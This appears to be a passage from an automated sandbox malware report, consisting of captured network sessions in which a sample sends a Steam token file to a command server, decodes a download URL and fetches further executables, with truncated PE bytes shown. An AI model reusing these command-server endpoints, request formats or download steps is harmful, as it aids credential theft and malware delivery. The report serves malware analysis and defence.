[TRUNCATED] Data Ascii: ------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="file"------BKEBFHIJECFIDGDGCGHC--
Nov 28, 2024 02:27:54.984767914 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 02:27:55.022284985 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="message"ybncbhylepme------GDHCGDGIEBKJKFHJJKFC--
Nov 28, 2024 02:27:55.475172043 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49942	185.215.113.16	80	1612	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 02:27:55.603877068 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 28, 2024 02:27:56.983675003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 01:27:56 GMT Content-Type: application/octet-stream Content-Length: 1915904 Last-Modified: Thu, 28 Nov 2024 01:14:03 GMT Connection: keep-alive ETag: "6747c3db-1d3c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@LD@WkDK<K @.rsrcD@.idata @ +@aapaipka 1 @lvlzfpatK@.taggant0K"@
Nov 28, 2024 02:27:56.983779907 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 02:27:56.984006882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 02:27:56.984129906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 02:27:56.984134912 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 02:27:56.984550953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 02:27:56.984667063 CET	1236	IN	Data Raw: 2f f1 b6 55 2e df 61 b7 b4 42 91 40 30 d6 7c 6c ed 22 91 b4 3f 55 b5 58 80 64 d6 85 72 2e 73 f3 40 d2 60 77 29 5e ef 84 3e 26 93 76 ad 86 71 74 fc 54 62 84 e6 36 9e ac 4d 92 be ce ae 22 59 37 db 42 a0 90 26 a2 93 7a 6d 86 91 34 2f d5 0b 27 77 12 Data Ascii: /U.aB@0\|l"?UXdr.s@`w)^>&vqtTb6M"Y7B&zm4/'wx1Wb>.n-?l"WK>/oM&g~#L.>#YQF`}iotJbNqB_RLp$'~`&Ho#y0`&$W?rT2>[_L2FDeqc
Nov 28, 2024 02:27:56.984673023 CET	248	IN	Data Raw: 51 7e 40 38 fa ca 9d 48 e4 fa 47 05 e9 11 a6 04 e6 08 8c d8 23 f2 8c 94 84 c1 25 0d d2 38 64 2a c7 4f 4b 64 94 0b 15 78 eb 60 53 e7 ca 1a 40 07 23 e3 71 b4 aa f3 b4 d1 32 48 53 94 54 9d ba bb 5e 1a 57 c7 de 24 37 a1 ef 7b 88 6d 7c 32 dd d1 5f e7 Data Ascii: Q~@8HG#%8d*OKdx`S@#q2HST^W$7{m\|2_Fd^7WY1C-xb7p:OBG-XJAiD k"SRL~J9Ih#GJj6ShGn)hwW&d7jdeJse
Nov 28, 2024 02:27:56.984875917 CET	1236	IN	Data Raw: 62 15 b7 76 13 4a 19 38 61 04 8f f0 ca 87 57 00 24 7e e7 68 39 85 1e 44 a1 92 16 35 2e 65 10 c9 93 17 2a 4b 11 12 5e 5b 9c 0a 9e d1 27 1a 48 13 7f 39 4e 7a 7e 06 59 71 34 33 98 4d 60 29 cf 00 37 44 62 dd 4a 82 a3 1b b7 88 93 87 c8 d2 2f 30 30 ce Data Ascii: bvJ8aW$~h9D5.eK^['H9Nz~Yq43M`)7DbJ/00a9ouwPaModTbJSn`"lEGEpDPJ A^r2PvVh"(P=,E>)L}\|bxBnbZn!=$EE_*Y&Ms4;.
Nov 28, 2024 02:27:56.985029936 CET	1236	IN	Data Raw: 7c 01 e7 8a 58 a2 41 04 7c 90 26 15 84 43 10 b7 ce b6 c1 77 ea 16 95 d0 b5 64 0e b1 20 b0 f6 78 cc e2 95 7c 9f 0a a2 9a 75 34 94 39 ff ff 82 d4 c2 77 9e 72 a5 03 26 cf 0e 01 3b 4c 95 6a 02 00 28 38 60 01 97 46 c0 d4 2d ea e9 db af 98 fb 62 d7 fb Data Ascii: \|XA\|&Cwd x\|u49wr&;Lj(8`F-bef0IP7`0;?[HZ0%&e1hCRCtHM!7uS4aGJZdKmSt!xO&x"BsbI!_F-NZ3_*/Yh!r5(Sv
Nov 28, 2024 02:27:57.107605934 CET	1236	IN	Data Raw: f0 76 8e 25 00 04 ab 41 35 23 da 86 b7 d2 b4 d1 0c 48 4f 62 6c 8d a4 06 70 54 37 d1 86 c3 16 4c af 02 91 8b 22 1d 0e ed 66 dc 51 13 07 5c 93 52 13 87 74 7b df a4 43 86 fb 4d 58 6e 7d 9f 2f bd 2a 05 1d ce 6d 06 ad a3 08 c5 ca 41 25 ea 99 77 54 ec Data Ascii: v%A5#HOblpT7L"fQ\Rt{CMXn}/*mA%wTv`nDS,{)G2%2rI^/((`Ne$i+:)iCYq'da`wwZ(#84^7}V~DCEnNE4.$^L3<#?ZC0"T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49970	185.215.113.206	80	1612	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 02:28:00.948657990 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGHDGHCGHDHJKFBFBK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKEGHDGHCGHDHJKFBFBK--
Nov 28, 2024 02:28:02.829615116 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:28:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50046	185.215.113.43	80	6860	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 02:29:04.741727114 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 28, 2024 02:29:06.124245882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 01:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50047	185.215.113.43	80	6860	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 02:29:07.769331932 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 28, 2024 02:29:09.209728003 CET	762	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 01:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 62 0d 0a 20 3c 63 3e 31 30 30 39 37 34 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 30 39 37 34 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 30 39 37 35 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 37 35 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 [TRUNCATED] Data Ascii: 23b <c>1009748001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1009749001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1009754001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009755001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009756001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009757001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50048	31.41.244.11	80	6860	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 02:29:09.337830067 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 28, 2024 02:29:10.738703012 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 01:29:10 GMT Content-Type: application/octet-stream Content-Length: 4401152 Last-Modified: Wed, 27 Nov 2024 23:23:30 GMT Connection: keep-alive ETag: "6747a9f2-432800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 b0 c5 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c5 00 00 04 00 00 b9 d9 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 92 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 92 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Eg(NK:v2`K@C@ _sss\ s6(@.rsrcsF(@.idata sH(@ 07sJ(@mzywmxvxL(@dsaasqmiC@.taggant0"C@
Nov 28, 2024 02:29:10.738900900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 02:29:10.738928080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 02:29:10.739167929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 02:29:10.739181995 CET	896	IN	Data Raw: 4c 78 e6 ac 86 49 dd b0 48 83 9e 07 af bb ef 96 91 5f ef 73 fd 4b 1d 0d ee 5c 19 00 17 71 16 93 95 eb 36 0e 46 3a b9 07 5c 0f 5d 5e b4 78 ec b4 86 d9 cd b9 85 4b 5b b0 07 47 1e 70 04 48 f6 0e 11 37 a6 f6 aa 8d da fb ce e2 c8 ef 81 4a bf 5c 01 6b Data Ascii: LxIH_sK\q6F:\]^xK[GpH7J\k?[V^mWk(_Jjo`JIGKRjST\xj#VjyW')*]#yQg7${MSk<d> $yKi,^'>n!KpM
Nov 28, 2024 02:29:10.739192963 CET	1236	IN	Data Raw: a8 e1 15 be 97 04 f0 1b b5 78 4b 99 c2 91 03 cb f0 d2 5e 36 02 54 55 f5 de 2b 53 e1 85 06 ba 0d e7 fc b1 c4 ef 4b 2f 11 ab de 1f fe 1a fa dd 08 73 7a c0 e5 e8 e8 7d 67 c9 ea 8c ea dd dc 3d c9 0c e4 59 f3 ec a8 83 ee 2e 08 ca 5c 31 09 5f 9b 4a 63 Data Ascii: xK^6TU+SK/sz}g=Y.\1_Jc6W\;NHyz$s]Y0Q,M8>WfSnSOAT/t$CKj@*\|kStuweL"a8fg`f53XWsr#fpW4PIX#rJ
Nov 28, 2024 02:29:10.739650011 CET	224	IN	Data Raw: d1 47 50 ae c7 f4 7c e5 4e 2a ee a0 15 20 5a 0a 4f 4b 69 6a 79 15 40 71 4e b5 0e 1d 5a 54 57 11 0e 5f e0 0d 62 88 d4 5e 8a ca c0 b2 40 62 f2 9c 2b 8a 98 91 ba b2 15 e4 45 5e 1c e2 62 f1 49 69 b8 0e d3 7b 6b d4 62 d1 2e 83 4f 26 00 73 8a 1d e7 85 Data Ascii: GP\|N* ZOKijy@qNZTW_b^@b+E^bIi{kb.O&sl\|hAF{T<A%3Or@\d3?N;yfhrSG&7l@P#u,N`\UiU)rRO+Zk2_l4J!4XOQ(F8F
Nov 28, 2024 02:29:10.739666939 CET	1236	IN	Data Raw: 39 5c 94 02 39 3a 21 ab 24 2d 3a e1 ad 50 f1 f6 cc 30 7d c0 75 0a b1 38 a1 d0 44 0a d8 b2 11 d2 17 a8 dd b5 11 6e 43 7a 70 47 de 67 32 c7 85 9d f1 11 76 35 f7 21 27 a0 ad 38 ca ae 9b 0b 65 ec 6f f3 57 33 69 fc 24 0c 4b 20 34 6a 89 73 c0 36 cf 6a Data Ascii: 9\9:!$-:P0}u8DnCzpGg2v5!'8eoW3i$K 4js6j@X)?@iJ*'?w,5G%8\.@I{$^G$Gd0L=CEuZB@/y'MS]sqJogX^8UMx7c[#5-,<=$`A:g
Nov 28, 2024 02:29:10.739672899 CET	1236	IN	Data Raw: cd fc cf cd 4f 53 17 85 cd 88 61 8d 91 f3 79 e8 c9 fb 08 17 0c e8 ab b2 91 54 39 2f b5 14 fc 71 7f 0b b9 ed 94 0d c8 36 2b a6 b2 46 81 2f 9d 6a 25 eb 04 eb f7 c7 0c df 08 9f 9d e2 d2 db 9b 42 6c 16 de e0 41 8f fc 5a 04 68 ba 0a 01 c5 9b 81 b6 13 Data Ascii: OSayT9/q6+F/j%BlAZhwQ+~5Gw'\|<ee]yPCG~Xj^gkKA2FSQzG_R`)_plnQ2>(Z3T+FVS{B9(-kjG9Q=d^
Nov 28, 2024 02:29:10.739675045 CET	448	IN	Data Raw: 87 db 74 d5 64 04 6e 72 4b 1b 0b 4f 70 83 58 58 4e d2 3f 6e c2 fc 43 cf cf 6e 5b 47 0a 49 aa 20 cf 04 0d ab 0e ed 1d bf 20 66 35 f6 81 bf 3b 56 36 9c ed 9a a9 31 9f df fa 14 38 2a 4b 7f 71 f7 f5 67 ca 5a c8 05 00 b4 4d b4 78 ec 6d b5 aa d7 d9 ba Data Ascii: tdnrKOpXXN?nCn[GI f5;V618KqgZMxm@D]pr&"xwUt`HlW5G,\|AL$v8:z.psxoq1^T! fZmL`T03Mi'+q\|H
Nov 28, 2024 02:29:10.862788916 CET	1236	IN	Data Raw: 6c 98 3d a6 cc 12 49 5d f1 e9 db d4 41 0b 54 5c 7d f8 f9 0f 81 c9 50 7c 39 e8 6c 2a f3 00 3f 2c 57 e0 55 b7 d6 e8 78 b1 7f 7a d6 78 82 f3 d6 91 dd 92 2e 7d a5 bc db 03 0f 49 61 e0 19 ee d0 0e 98 17 50 46 31 84 57 31 dd 39 3b 66 0d 37 77 ed a8 f8 Data Ascii: l=I]AT\}P\|9l*?,WUxzx.}IaPF1W19;f7wF,fUXOsQk&9n;7a6HyKVQlIlp8ZfF\x<)KOJ(\Y^VxGYAewQ)$^,S:X7<l2

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 28, 2024 02:28:33.476763964 CET	13.107.246.63	443	192.168.2.6	50023	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49717	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:11 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
